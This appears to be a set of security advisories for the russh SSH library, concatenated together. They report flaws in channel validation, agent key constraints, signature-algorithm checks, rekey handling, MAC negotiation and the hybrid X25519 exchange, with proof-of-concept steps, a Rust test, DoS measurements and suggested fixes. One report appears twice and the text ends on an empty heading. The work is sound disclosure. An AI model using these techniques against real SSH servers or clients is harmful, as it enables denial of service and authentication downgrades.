CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Vulnerability

The hybrid ML-KEM 768 + X25519 key exchange implementation in russh/src/kex/hybrid_mlkem.rs does not validate that the remote peer's X25519 public key is not the zero point (all-zero 32-byte value). This allows a remote peer to force the X25519 contribution to the combined shared secret to zero, reducing the hybrid KEX to a single-algorithm exchange.

Affected code at HEAD (v0.62.4, commit 0089c89):

Server-side (server_dh, lines 92-93):

let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = s_secret * c_pk1;

Client-side (compute_shared_secret, lines 154-155):

let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = x25519_secret * s_pk1;

Root Cause

Commit a7fc1eb (2026-07-22, "fix mpint encoding and validate curve25519 keys") added zero-point validation to the standalone Curve25519 KEX in russh/src/kex/curve25519.rs at two locations:

• server_dh line 77: if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
• compute_shared_secret line 122: if remote_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

The same X25519 scalar multiplication pattern appears in hybrid_mlkem.rs, but the fix was not applied there.

Proof of Concept

A malicious SSH client negotiating mlkem768x25519-sha256 can send a KEX_HYBRID_INIT message containing a valid ML-KEM 768 encapsulation key followed by 32 zero bytes as the X25519 component.

When the server computes k_cl = s_secret * c_pk1, the result is the zero point regardless of the server's secret scalar. The combined shared secret K = SHA-256(k_pq || k_cl) then depends only on the ML-KEM component. The same attack works in reverse against a client connecting to a malicious server.

The zero X25519 public key passes all existing validation (the length check on line 78 succeeds since 32 bytes is correct). No panic or crash occurs - the exchange completes successfully with a weakened shared secret.

Impact

The purpose of hybrid key exchange is defense-in-depth: if either the classical algorithm (X25519) or the post-quantum algorithm (ML-KEM 768) is broken, the combined secret remains secure. By injecting a zero X25519 public key, an attacker eliminates the classical contribution entirely, reducing security to depend solely on ML-KEM.

This matters in two scenarios:

1. If ML-KEM 768 is later found to have a weakness (the explicit threat model hybrid KEX is designed to mitigate), sessions where the X25519 component was zeroed out lose their fallback protection.
2. An active network attacker who can intercept KEX could downgrade the hybrid exchange to effectively single-algorithm security without either peer detecting it.

The severity is MEDIUM rather than HIGH because the ML-KEM component still provides strong security today, and an active attacker who can modify KEX messages can already perform other attacks unless strict KEX is negotiated.

Suggested Fix

Add zero-point checks in hybrid_mlkem.rs matching the ones in curve25519.rs:

// In server_dh, after line 93:
let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
if c_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

// In compute_shared_secret, after line 155:
let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
if s_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

Ideally, also validate against the other small-subgroup points on Curve25519 (there are a small number of low-order points that also yield a zero shared secret), matching the comprehensive validation OpenSSH performs.

AI tooling

AI assistancewas used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Summary

